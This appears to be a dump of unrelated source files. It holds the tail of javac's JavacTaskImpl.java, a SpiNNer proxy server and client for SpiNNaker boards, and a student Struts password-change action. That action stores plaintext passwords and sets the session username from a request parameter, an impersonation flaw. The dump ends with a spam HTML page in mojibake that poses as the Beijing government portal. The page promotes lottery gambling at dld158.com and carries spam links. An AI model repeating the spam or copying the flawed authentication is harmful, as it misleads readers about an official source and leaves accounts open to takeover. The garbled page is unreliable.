JCCompilationUnit unit = (JCCompilationUnit) env.tree;
if (unit.packge != null)
elems.append(unit.packge);
break;
}
}
genList.addAll(queue);
}
/**
* Generate code.
* @throws IOException TODO
*/
@Override
public Iterable<? extends JavaFileObject> generate() throws IOException {
return generate(null);
}
/**
* Generate code corresponding to the given classes.
* The classes must have previously been returned from {@link #enter}.
* If there are classes outstanding to be analyzed, that will be done before
* any classes are generated.
* If null is specified, code will be generated for all outstanding classes.
*
* @param classes a list of class elements
*/
public Iterable<? extends JavaFileObject> generate(Iterable<? extends TypeElement> classes) throws IOException {
final ListBuffer<JavaFileObject> results = new ListBuffer<JavaFileObject>();
try {
analyze(null); // ensure all classes have been parsed, entered, and analyzed
if (classes == null) {
compiler.generate(compiler.desugar(genList), results);
genList.clear();
}
else {
Filter f = new Filter() {
public void process(Env<AttrContext> env) {
compiler.generate(compiler.desugar(ListBuffer.of(env)), results);
}
};
f.run(genList, classes);
}
if (genList.isEmpty()) {
compiler.reportDeferredDiagnostics();
cleanup();
}
}
finally {
if (compiler != null)
compiler.log.flush();
}
return results;
}
public TypeMirror getTypeMirror(Iterable<? extends Tree> path) {
// TODO: Should complete attribution if necessary
Tree last = null;
for (Tree node : path)
last = node;
return ((JCTree)last).type;
}
public JavacElements getElements() {
if (context == null)
throw new IllegalStateException();
return JavacElements.instance(context);
}
public JavacTypes getTypes() {
if (context == null)
throw new IllegalStateException();
return JavacTypes.instance(context);
}
public Iterable<? extends Tree> pathFor(CompilationUnitTree unit, Tree node) {
return TreeInfo.pathFor((JCTree) node, (JCTree.JCCompilationUnit) unit).reverse();
}
abstract class Filter {
void run(Queue<Env<AttrContext>> list, Iterable<? extends TypeElement> classes) {
Set<TypeElement> set = new HashSet<TypeElement>();
for (TypeElement item: classes)
set.add(item);
ListBuffer<Env<AttrContext>> defer = ListBuffer.<Env<AttrContext>>lb();
while (list.peek() != null) {
Env<AttrContext> env = list.remove();
ClassSymbol csym = env.enclClass.sym;
if (csym != null && set.contains(csym.outermostClass()))
process(env);
else
defer = defer.append(env);
}
list.addAll(defer);
}
abstract void process(Env<AttrContext> env);
}
/**
* For internal use only. This method will be
* removed without warning.
*/
public Context getContext() {
return context;
}
/**
* For internal use only. This method will be
* removed without warning.
*/
public void updateContext(Context newContext) {
context = newContext;
}
/**
* For internal use only. This method will be
* removed without warning.
*/
public Type parseType(String expr, TypeElement scope) {
if (expr == null || expr.equals(""))
throw new IllegalArgumentException();
compiler = JavaCompiler.instance(context);
JavaFileObject prev = compiler.log.useSource(null);
ParserFactory parserFactory = ParserFactory.instance(context);
Attr attr = Attr.instance(context);
try {
CharBuffer buf = CharBuffer.wrap((expr+"\u0000").toCharArray(), 0, expr.length());
Parser parser = parserFactory.newParser(buf, false, false, false);
JCTree tree = parser.parseType();
return attr.attribType(tree, (Symbol.TypeSymbol)scope);
} finally {
compiler.log.useSource(prev);
}
}
}
|
ctalau/javainthebrowser
|
src/javac/com/sun/tools/javac/api/JavacTaskImpl.java
|
Java
|
gpl-2.0
| 20,056
|
r"""A proxy enabling multiple wiring guide instances to interact with the same
SpiNNaker boards.
A very simple protocol is used between the client and server. Clients may send
the following new-line delimited commands to the server:
* ``VERSION,[versionstring]\n`` The server will disconnect any client with an
incompatible version number reported for ``[versionstring]``. Returns
``OK\n``.
* ``LED,[c],[f],[b],[lednum],[state]\n`` Turn on or off the specified LED. Note
that the LED remains switched on while *any* client wants it to be on.
Returns ``OK\n``.
* ``TARGET,[c],[f],[b],[link]\n`` Discover what link is at the other end of the
supplied link. Returns ``[c],[f],[b],[link]\n`` or ``None\n`` if no link is
connected. Note that links are represented by their number, not their name.
"""
import traceback
import socket
import select
from collections import defaultdict
import logging
from six import iteritems
from spinner.version import __version__
from spinner.topology import Direction
DEFAULT_PORT = 6512
class ProxyError(Exception):
"""Exception raised when the proxy cannot connect."""
pass
class ProxyServer(object):
"""A proxy server enabling multiple wiring guide instances to interact with
the same SpiNNaker boards.
"""
def __init__(self, bmp_controller, wiring_probe,
hostname="", port=DEFAULT_PORT):
self.bmp_controller = bmp_controller
self.wiring_probe = wiring_probe
# Open a TCP socket
self.server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server_sock.setsockopt(socket.SOL_SOCKET,
socket.SO_REUSEADDR, 1)
self.server_sock.bind((hostname, port))
self.server_sock.listen(5)
self.client_socks = []
# A buffer for unprocessed data received from each client
self.client_buffer = {}
# For each LED, maintains a set of clients which have turned it on
self.led_setters = defaultdict(set)
def add_client(self, sock, addr):
"""Register a new client."""
logging.info("New connection {} from {}".format(sock, addr))
self.client_socks.append(sock)
# Create buffer for received data (and schedule its deletion upon
# disconnection)
self.client_buffer[sock] = b""
def remove_client(self, sock):
"""Disconnect and cleanup after a particular child."""
logging.info("Closing socket {}".format(sock))
# Remove buffer
self.client_buffer.pop(sock)
# Turn off any LEDs left on by the client
for (c, f, b, led), socks in iteritems(self.led_setters):
if sock in socks:
self.set_led(sock, c, f, b, led, False)
# Close socket
self.client_socks.remove(sock)
sock.close()
def set_led(self, sock, c, f, b, led, state):
"""Set the state of a diagnostic LED.
An LED is turned on if at least one client has turned it on. An LED is only
turned off if all clients which have turned the LED on have also turned it
off again.
"""
setters = self.led_setters[(c, f, b, led)]
cur_led_state = bool(setters)
if state:
setters.add(sock)
else:
setters.discard(sock)
new_led_state = bool(setters)
if cur_led_state != new_led_state:
self.bmp_controller.set_led(led, new_led_state, c, f, b)
def handle_version(self, sock, args):
"""Handle "VERSION" commands.
This command contains, as the argument, the SpiNNer version number of the
remote client. If the version of the client does not match the server, the
client is disconnected.
Arguments: vX.Y.Z
Returns: OK
"""
# Check for identical version
assert args.decode("ascii") == __version__
sock.send(b"OK\n")
def handle_led(self, sock, args):
"""Handle "LED" commands.
Set the state of a diagnostic LED on a board.
Arguments: c,f,b,led,state
Returns: OK
"""
c, f, b, led, state = map(int, args.split(b","))
self.set_led(sock, c, f, b, led, state)
sock.send(b"OK\n")
def handle_target(self, sock, args):
"""Handle "TARGET" commands.
Determine what is at the other end of a given link.
Arguments: c,f,b,d
Returns: c,f,b,d or None
"""
c, f, b, d = map(int, args.split(b","))
target = self.wiring_probe.get_link_target(c, f, b, d)
if target is None:
sock.send(b"None\n")
else:
sock.send("{},{},{},{}\n".format(*map(int, target)).encode("ascii"))
def process_data(self, sock, data):
"""Process data received from a socket."""
# Prepend any previously unprocessed data
data = self.client_buffer[sock] + data
# Handle any received commands. If a command fails (or is invalid) the
# connection is dropped.
try:
while b"\n" in data:
line, _, data = data.partition(b"\n")
logging.debug("Handling command {} from {}".format(line, sock))
cmd, _, args = line.partition(b",")
# If an unrecognised command arrives, this lookup will fail and get
# caught by the exception handler, printing an error and disconnecting
# the client.
{
b"VERSION": self.handle_version,
b"LED": self.handle_led,
b"TARGET": self.handle_target,
}[cmd](sock, args)
except Exception as e:
logging.exception(
"Disconnected client {} due to bad command (above)".format(sock))
self.remove_client(sock)
return
# Retain any remaining unprocessed data
self.client_buffer[sock] = data
def main(self):
logging.info("Starting proxy server...")
try:
while True:
ready, _1, _2 = select.select([self.server_sock] + self.client_socks, [], [])
for sock in ready:
if sock is self.server_sock:
# New client connected!
self.add_client(*self.server_sock.accept())
else:
# Data arrived from a client
try:
data = sock.recv(1024)
except (IOError, OSError) as exc:
logging.error(
"Socket {} failed to receive: {}".format(sock, exc))
# Cause socket to get closed
data = b"" # pragma: no branch
if len(data) == 0:
# Connection closed
self.remove_client(sock)
else:
self.process_data(sock, data)
except KeyboardInterrupt:
# Disconnect all clients (also cleans up LED states, etc.)
for sock in self.client_socks:
self.remove_client(sock)
logging.info("Proxy server terminated cleanly.")
class ProxyClient(object):
"""A client for the ProxyServer object defined above.
This object implements a BMPController-compatible ``set_led`` method and
WiringProbe compatible ``get_link_target`` method and thus may be substituted
for the above when these functions are all that are required, e.g. for the
InteractiveWiringGuide.
"""
def __init__(self, hostname, port=DEFAULT_PORT):
"""Connect to a running ProxyServer."""
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect((hostname, port))
# A receive buffer
self.buf = b""
# Check for protocol version compatibility.
self.check_version()
def recvline(self):
"""Wait for a full line to be received from the server."""
while b"\n" not in self.buf:
data = self.sock.recv(1024)
self.buf += data
if len(data) == 0:
raise ProxyError("Remote server closed the connection.")
line, _, self.buf = self.buf.partition(b"\n")
return line
def check_version(self):
"""Check that the remote server has a compatible protocol version."""
self.sock.send("VERSION,{}\n".format(__version__).encode("ascii"))
if self.recvline() != b"OK":
raise ProxyError("Remote server has incompatible protocol version")
def set_led(self, led, state, c, f, b):
"""Set the state of an LED on the remote machine."""
self.sock.send("LED,{},{},{},{},{}\n".format(
c, f, b, led, int(state)).encode("ascii"))
if self.recvline() != b"OK":
raise ProxyError("Got unexpected response to LED command.")
def get_link_target(self, c, f, b, d):
"""Discover the other end of a specified link on a remote machine."""
self.sock.send("TARGET,{},{},{},{}\n".format(
c, f, b, int(d)).encode("ascii"))
response = self.recvline()
if response == b"None":
return None
else:
try:
c, f, b, d = map(int, response.split(b","))
return (c, f, b, Direction(d))
except ValueError:
raise ProxyError("Got unexpected response to TARGET command.")
|
SpiNNakerManchester/SpiNNer
|
spinner/proxy.py
|
Python
|
gpl-2.0
| 8,272
|
package dpp.bookstore.action.user;
import javax.servlet.http.HttpServletRequest;
import org.apache.struts2.ServletActionContext;
import com.opensymphony.xwork2.ActionSupport;
import dpp.bookstore.pojo.User;
import dpp.bookstore.service.UserService;
public class EditPasswordAction extends ActionSupport {
public static final long serialVersionUID = 1L;
public static final String RETURN = "return";
public static final String ADMIN = "admin";
public HttpServletRequest request;
private UserService userService;
public UserService getUserService() {
return userService;
}
public void setUserService(UserService userService) {
this.userService = userService;
}
private String username;
private String oldpass;
private String newpass;
private String newpassa;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getOldpass() {
return oldpass;
}
public void setOldpass(String oldpass) {
this.oldpass = oldpass;
}
public String getNewpass() {
return newpass;
}
public void setNewpass(String newpass) {
this.newpass = newpass;
}
public String getNewpassa() {
return newpassa;
}
public void setNewpassa(String newpassa) {
this.newpassa = newpassa;
}
public String execute() {
request = ServletActionContext.getRequest();
/*String name = String.valueOf(request.getSession().getAttribute("username"));
String oldpass = String.valueOf(request.getParameter("oldpass"));
String newpass = String.valueOf(request.getParameter("newpass"));
String newpassa = String.valueOf(request.getParameter("newpassa"));*/
try {
if (request.getSession().getAttribute("username").equals("admin")) {
User user = new User();
user.setUsername(username);
user.setPassword(newpass);
userService.updateUser(user);
request.setAttribute("status", "Edit password success.");
ServletActionContext.setRequest(request);
return ADMIN;
}
if (newpass.equals(newpassa) == false) {
request.setAttribute("status", "Edit password failed: differ passwords.");
}
else if (userService.queryByName(username).getPassword().equals(oldpass) == false) {
request.setAttribute("status", "Edit password failed: incorrect old password.");
}
else {
User user = new User();
user.setUsername(username);
user.setPassword(newpass);
userService.updateUser(user);
request.setAttribute("status", "Edit password success.");
}
} catch (Exception e) {
e.printStackTrace();
}
request.getSession().setAttribute("username", username);
ServletActionContext.setRequest(request);
return RETURN;
}
}
|
fidy1995/SE223-Database
|
Bookstore-SSH/src/dpp/bookstore/action/user/EditPasswordAction.java
|
Java
|
gpl-2.0
| 2,685
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible"content="IE=9; IE=8; IE=7; IE=EDGE">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="desCRIPtion" content="±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®»¶Ó´ó¼ÒÀ´µ½dld158.comÓéÀÖÆ½Ì¨" />
<title>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®_±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®-dld158ÓéÀÖ{°Ù¶ÈÐÂÎÅ}°Ù¶ÈÈÏÖ¤</title>
<!--ÈÈÁ¦Í¼¿ªÊ¼-->
<meta name="uctk" content="enabled">
<!--ÈÈÁ¦Í¼½áÊø-->
<meta name="keywords" content="±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®"/>
<meta name="desCRIPtion" content="»¶Ó´ó¼ÒÀ´µ½dld158.comÓéÀÖÆ½Ì¨"/>
<meta name="sitename" content="Ê×¶¼Ö®´°-±±¾©ÊÐÕþÎñÃÅ»§ÍøÕ¾">
<meta name="siteurl" content="http://www.beijing.gov.cn">
<meta name="district" content="±±¾©" >
<meta name="filetype" content="0">
<meta name="publishedtype" content="1">
<meta name="pagetype" content="2">
<meta name="subject" content="28428;1">
<!-- Le styles -->
<link href="http://www.beijing.gov.cn/images/zhuanti/xysym/bootstrap150609.css" rel="stylesheet">
<link href="http://www.beijing.gov.cn/images/zhuanti/xysym/bootstrap-responsive150609.css" rel="stylesheet">
<style>
body {
background:#E8E8E8; /* 60px to make the container go all the way to the bottom of the topbar */
}
.navbar .btn-navbar { position:absolute; right:0; margin-top:50px;}
#othermessage p {width:50%;}
#othermessage dl { width:50%;}
#breadcrumbnav ul { width:100%;}
#breadcrumbnav ul li { line-height:14px; font-family:"ËÎÌå"; padding:0px 10px; margin:0; background:none; }
#othermessage span { padding:0px 10px;}
#footer { margin:20px -20px 0px -20px;}
.navbar .nav li a { font-family:"Microsoft YaHei";}
#div_zhengwen { font-family:"SimSun";}
#div_zhengwen p{ font-family:"SimSun"; padding:0;}
select { width:75px; float:left; height:35px;}
.search .input{ border:1px solid #c1c1c1; width:290px;}
.bdsharebuttonbox { float:left; width:80%;}
.navbar .nav li a { padding: 10px 48px 11px 49px;}
.nav_weather span { float:right;}
#footer { position:absolute; left:0; right:0; margin:20px 0 0 0;}
#essaybottom {font-family:"simsun"; }
#pic { text-align:center; }
#pic ul { padding-top:10px; display:none; }
#pic li {font-family:"SimSun";}
.content_text h1 {line-height:150%;}
.version { float:right; padding:48px 50px 0 0}
.search { padding: 50px 0 0 70px;}
.nav_weather a { font-family:simsun;}
.version li a { font-family:simsun;}
.footer-class { font-family:simsun;}
@media only screen and (max-width: 480px)
{
#pic img { width:100%;}
}
@media only screen and (max-width: 320px)
{
#pic img { width:100%;}
}
@media only screen and (max-width: 640px)
{
#pic img { width:100%;}
}
#filerider .filelink {font-family:"SimSun";}
#filerider .filelink a:link { color:#0000ff; font-family:"SimSun";}
</style>
<sCRIPt type="text/javasCRIPt">
var pageName = "t1424135";
var pageExt = "htm";
var pageIndex = 0 + 1;
var pageCount = 1;
function getCurrentPage() {
document.write(pageIndex);
}
function generatePageList() {
for (i=0;i<1;i++) {
var curPage = i+1;
document.write('<option value=' + curPage);
if (curPage == pageIndex)
document.write(' selected');
document.write('>' + curPage + '</option>');
}
}
function preVious(n) {
if (pageIndex == 1) {
alert('ÒѾÊÇÊ×Ò³£¡');
} else {
getPageLocation(pageIndex-1);
}
}
function next(n) {
if (pageIndex == pageCount) {
alert('ÒѾÊÇβҳ£¡');
} else {
nextPage(pageIndex);
}
}
function nextPage(page) {
var gotoPage = "";
if (page == 0) {
gotoPage = pageName + "." + pageExt;
} else {
gotoPage = pageName + "_" + page + "." + pageExt;
}
location.href = gotoPage;
}
function getPageLocation(page) {
var gotoPage = "";
var tpage;
if (page == 1) {
gotoPage = pageName + "." + pageExt;
} else {
tpage=page-1;
gotoPage = pageName + "_" + tpage + "." + pageExt;
}
location.href = gotoPage;
}
</sCRIPt>
<SCRIPT type=text/javasCRIPt>
function $(xixi) {
return document.getElementById(xixi);
}
//ת»»×ÖºÅ
function doZoom(size){
if(size==12){
$("contentText").style.fontSize = size + "px";
$("fs12").style.display = "";
$("fs14").style.display = "none";
$("fs16").style.display = "none";
}
if(size==14){
$("contentText").style.fontSize = size + "px";
$("fs12").style.display = "none";
$("fs14").style.display = "";
$("fs16").style.display = "none";
}
if(size==16){
$("contentText").style.fontSize = size + "px";
$("fs12").style.display = "none";
$("fs14").style.display = "none";
$("fs16").style.display = "";
}
}
</SCRIPT>
<!-- Le HTML5 shim, for IE6-8 support of HTML5 elements -->
<!--[if lt IE 9]>
<sCRIPt src="//html5shim.googlecode.com/svn/trunk/html5.js"></sCRIPt>
<![endif]-->
<!-- Le fav and touch icons -->
<link rel="shortcut icon" href="images/favicon.ico">
<link rel="apple-touch-icon" href="images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="72x72" href="images/apple-touch-icon-72x72.png">
<link rel="apple-touch-icon" sizes="114x114" href="images/apple-touch-icon-114x114.png">
<sCRIPt type="text/javasCRIPt">
window.onload = function(){
var picurl = [
"",
"",
"",
"",
"",
"",
"",
"",
"",
""
];
var i=0;
for(i=0;i<picurl.length;i++)
{
picurl[i].index=i;
if(picurl[i]!="")
{
document.getElementById("pic_"+i).style.display = "block";
}
}
}
</sCRIPt>
</head>
<body>
<div class="navbar navbar-fixed-top">
<div class="navbar-inner">
<div class="nav_weather">
<div class="container"><a href="http://zhengwu.beijing.gov.cn/sld/swld/swsj/t1232150.htm" title="ÊÐί" target="_blank">ÊÐί</a> | <a href="http://www.bjrd.gov.cn/" title="ÊÐÈË´ó" target="_blank">ÊÐÈË´ó</a> | <a href="http://www.beijing.gov.cn/" title="ÊÐÕþ¸®" target="_blank">ÊÐÕþ¸®</a> | <a href="http://www.bjzx.gov.cn/" title="ÊÐÕþÐ" target="_blank">ÊÐÕþÐ</a></div>
</div>
<div class="container">
<a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</a>
<div class="span12">
<a class="brand" href="http://www.beijing.gov.cn/"><img src="http://www.beijing.gov.cn/images/zhuanti/xysym/logo.png" /></a>
<div class="search">
<sCRIPt language="JavaScript" type="text/javasCRIPt">
function checkForm(){
var temp = searchForm.temp.value;
var database = searchForm.database.value;
if(temp==null || temp==""){
alert("ÇëÊäÈëËÑË÷Ìõ¼þ");
}
else{
var url="http://so.beijing.gov.cn/Query?qt="+encodeURIComponent(temp)+"&database="+encodeURIComponent(database);
window.open(url);
}
return false;
}
</sCRIPt>
<form id="search" method="get" name="searchForm" action="" target="_blank" onSubmit="return checkForm()">
<input type="hidden" value="bj" id="database" name="database" />
<input name="temp" id="keyword" type="text" value="È«ÎÄËÑË÷" class="input" title="È«ÎÄËÑË÷¹Ø¼ü×Ö" />
<input id="searchbutton" type="image" src="http://www.beijing.gov.cn/images/zhuanti/xysym/search_btn.gif" width="66" height="35" title="µã»÷ËÑË÷" alt="ËÑË÷" />
</form>
</div>
<div class="version"><ul>
<li><a title="ÎÞÕϰ" href="http://wza.beijing.gov.cn/" target="_blank" id="yx_style_nav">ÎÞÕϰ</a></li>
<li><a target="_blank" title="·±Ìå°æ" href="http://210.75.193.158/gate/big5/www.beijing.gov.cn">·±Ìå</a></li>
<li><a target="_blank" title="¼òÌå°æ" href="http://www.beijing.gov.cn">¼òÌå</a></li>
<li class="last"><a target="_blank" title="English Version" href="http://www.ebeijing.gov.cn">English</a></li></ul><ul>
<li><a href="javasCRIPt:void(0)" onclick="SetHome(this,window.location)" title="ÉèΪÊ×Ò³">ÉèΪÊ×Ò³</a></li>
<li><a title="¼ÓÈëÊÕ²Ø" href="javasCRIPt:void(0)" onclick="shoucang(document.title,window.location)">¼ÓÈëÊÕ²Ø</a></li>
<li class="last"><a target="_blank" title="ÒÆ¶¯°æ" href="http://www.beijing.gov.cn/sjbsy/">ÒÆ¶¯°æ</a></li></ul></div>
</div>
</div>
<div class="nav-collapse">
<div class="container">
<ul class="nav">
<li ><a href="http://www.beijing.gov.cn/" class="normal" title="Ê×Ò³">Ê×Ò³</a></li>
<li><a href="http://zhengwu.beijing.gov.cn/" class="normal" title="ÕþÎñÐÅÏ¢">ÕþÎñÐÅÏ¢</a></li>
<li><a href="http://www.beijing.gov.cn/sqmy/default.htm" class="normal" title="ÉçÇéÃñÒâ">ÉçÇéÃñÒâ</a></li>
<li><a href="http://banshi.beijing.gov.cn" class="normal" title="ÕþÎñ·þÎñ">ÕþÎñ·þÎñ</a></li>
<li><a href="http://www.beijing.gov.cn/bmfw" class="normal" title="±ãÃñ·þÎñ">±ãÃñ·þÎñ</a></li>
<li style="background:none;"><a href="http://www.beijing.gov.cn/rwbj/default.htm" class="normal" title="ÈËÎı±¾©">ÈËÎı±¾©</a></li>
</ul>
</div>
</div><!--/.nav-collapse -->
</div>
</div>
</div>
<div class="container" style="background:#fff; margin-top:24px;">
<div class="content_text">
<div id="breadcrumbnav">
<ul>
<li>Ê×Ò³¡¡>¡¡±ãÃñ·þÎñ¡¡>¡¡×îÐÂÌáʾ</li>
</ul>
<div class="clearboth"></div>
</div>
<h1>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<div id="othermessage">
<p>
<span>À´Ô´£º±±¾©ÈÕ±¨</span>
<span>ÈÕÆÚ£º2017-04-21 17:31:05</span></p>
<dl>
<sCRIPt language='JavaScript' type="text/javasCRIPt">
function changeSize(size){document.getElementById('div_zhengwen').style.fontSize=size+'px'}</sCRIPt>
¡¾×ֺŠ<a href='javasCRIPt:changeSize(18)' style="font-size:16px;">´ó</a> <a href='javasCRIPt:changeSize(14)' style="font-size:14px;">ÖÐ</a> <a href='javasCRIPt:changeSize(12)' style="font-size:12px;">С</a>¡¿</dl>
</div>
</h1>
<div id="div_zhengwen">
<div id="pic">
<ul id="pic_0">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_1">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_2">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_3">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_4">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_5">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_6">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_7">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_8">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_9">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
</div>
<div class=TRS_Editor><p align="justify">¡¡¡¡±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»® »¶Ó´ó¼ÒÀ´µ½dld158.comÓéÀÖÆ½Ì¨</p>
<img src="{img}" width="300" height="330"/>
<p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/meng/q6732150.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/meng/q7611177.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/meng/q4622640.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/meng/q2642508.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/meng/q8622420.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<p align="justify">¡¡¡¡
<p>¡¡¡¡3ÔÂÄ©£¬Ãܼ¯µÄÒµ¼¨·¢²¼»á£¬ÈÃÉÏÊз¿ÆóÖðÒ»½»³ö³É¼¨µ¥¡£´ó²¿·Ö·¿Æóƾ½èÔö³¤µÄºÏͬÏúÊ۶ÒÔ¼°¿íËɵÄÏÖ½ðÁ÷£¬È¡µÃÀúÊ·×îºÃÒµ¼¨¡£µ«Í¬Ê±£¬ÐÐÒµ¾Þ±ä£¬ÍÁµØ¼Û¸ñ·ÉÕÇ¡¢½¨°²³É±¾Ôö¼Ó¡¢Æµ·±µÄÕþ²ßµ÷¿ØºÍ¼Û¸ñ¹ÜÖÆÏ£¬·¿Æó´ø×ŹæÄ£Ò»Â·¿ñ±¼µÄ±³¾°Ï£¬ÀûÈó¿Õ¼äÒ»ÔÙ±»Ñ¹Ëõ¡£</p>
<p>¡¡¡¡ÖÐÖ¸ÔºÊý¾ÝÏÔʾ£¬Öйú°ÙÇ¿·¿ÆóµÄ¾»ÀûÈóÂʳÖÐø×ߵͣ¬2016Äê½öΪ11%¡£»Æ½ðÊ®Äê½áÊø£¬Öйú·¿µØ²úÒµµÄ±©Àûʱ´ú¹ýÈ¥ÁË¡£</p>
<p>¡¡¡¡Ãæ¶ÔδÀ´£¬Ñ°ÇóÓÐÖÊÁ¿µÄÔö³¤£¬³ÉΪԽÀ´Ô½¶à·¿ÆóµÄËßÇó¡£½ñÄê³õ£¬ºã´ó¼¯ÍÅ(03333.HK)¶Ê¾ÖÔÚ¹«Ë¾ÄÚ²¿»áÒéÉÏÌá³ö£¬¹«Ë¾Õ½ÂÔ½«´Ó¡°¹æÄ£¡±Ôö³¤Öð²½×ªÏò¡°¹æÄ£+Ð§Òæ¡±µÄË«Ôö³¤¡£ÕâÔÚÒ»¶¨³Ì¶ÈÉϵ춨ÁËÕâ¼Ò¹æÄ£µÚÒ»µÄ·¿Æó¡°Êʵ±¿ØËÙ¡±µÄδÀ´»ùµ÷¡£</p>
<p>¡¡¡¡´Ó2016ÄêϰëÄ꿪ʼ£¬Ô½À´Ô½¶àµÄÆóÒµÒòΪÎÞ·¨»ñµÃÓÐЧµÄÀûÈ󻨱¨¶øÑ¡ÔñÍ˳ö·¿µØ²ú¿ª·¢ÐÐÒµ¡£ÁôÏµķ¿ÆóÐèÒªÒ»¿Å¸ü¼áÇ¿µÄÄںˣ¬ËüÊdzɱ¾¿ØÖÆÄÜÁ¦ºÍÀûÈó¿Õ¼äÍØÕ¹ÄÜÁ¦µÄÌåÏÖ£¬ÒÔÔöÊÕÓÖÔöÀûΪÂä½Åµã¡£</p>
<p style="text-align: center;"><img src="http://img.mp.itc.cn/upload/20170329/47a87f5cdc4e47e48b42c0882a34f2c1_th.jpg" alt="" style="max-width:600px;" /></p>
<p>¡¡¡¡<strong>ÀûÈóÏ»¬Ç÷ÊÆÒÀ¾É</strong></p>
<p>¡¡¡¡ËäÈ»2016ÄêµÄ·¿µØ²úÐÐÒµÒ»ÅÉ·±ÈÙ£¬ÆóÒµÃǺ°Á˺ܶàÄêµÄÌáÉýÀûÈóÂʵÄÄ¿±ê£¬²¢Ã»ÓÐÆÕ±éʵÏÖ¡£</p>
<p>¡¡¡¡ÖÐÖ¸Ôº±¨¸æÖ¸³ö£¬2016Ä꣬°ÙÇ¿·¿ÆóÏúÊÛ¹æÄ£ÔÙÉÏÐĄ̂½×£¬ÏúÊÛ×ܶÏúÊÛÃæ»ý·Ö±ð´ï48027.1ÒÚÔª¡¢40251.7Íòƽ·½Ã×£¬Í¬±ÈÔö³¤52.5%ºÍ39.4%¡£ÏúÊÛÒµ¼¨µÄ¿ìËÙÔö³¤´ø¶¯ÁËÓªÊÕ¡¢ÀûÈó¹æÄ£µÄÌáÉý¡£°ÙÇ¿·¿ÆóµÄÓªÒµÊÕÈë¾ùÖµ´ï392.1ÒÚÔª£¬¾»ÀûÈó¾ùÖµ´ï45.7ÒÚÔª£¬Í¬±È·Ö±ðÔö³¤36.8%¡¢26.2%¡£</p>
<p>¡¡¡¡µ«°ÙÇ¿·¿Æó¾»ÀûÈóÔö³¤ÂÊÈÔµÍÓÚÓªÒµÊÕÈëÔö³¤ÂÊ10.6¸ö°Ù·Öµã£¬ÐÐÒµ¡°ÔöÊÕ²»ÔöÀû¡±ÏÖÏóÒÀȻ͹ÏÔ¡£ÖÐÖ¸ÔºÊý¾ÝÏÔʾ£¬2016Äê°ÙÇ¿·¿Æó¾»ÀûÈóÂÊÒò¹æÄ£ºÍ×ÛºÏʵÁ¦µÄ²îÒì³ÊÏÖ³öÖ𼶵ݼõµÄÇ÷ÊÆ£¬Ç°10ÆóÒµ¡¢11¡«30ÆóÒµ¡¢31¡«50ÆóÒµ¡¢51¡«100ÆóÒµµÄ¾»ÀûÈóÂʾùÖµ·Ö±ðΪ13.6%¡¢12.4%¡¢11.6%¡¢10.4%¡£ÖÁÓÚ¾»ÀûÈóÂʾùÖµ£¬Ôò³ÖÐø×ßµÍÖÁ11.0%£¬½ÏÉÏÄêϽµ0.5¸ö°Ù·Öµã¡£</p>
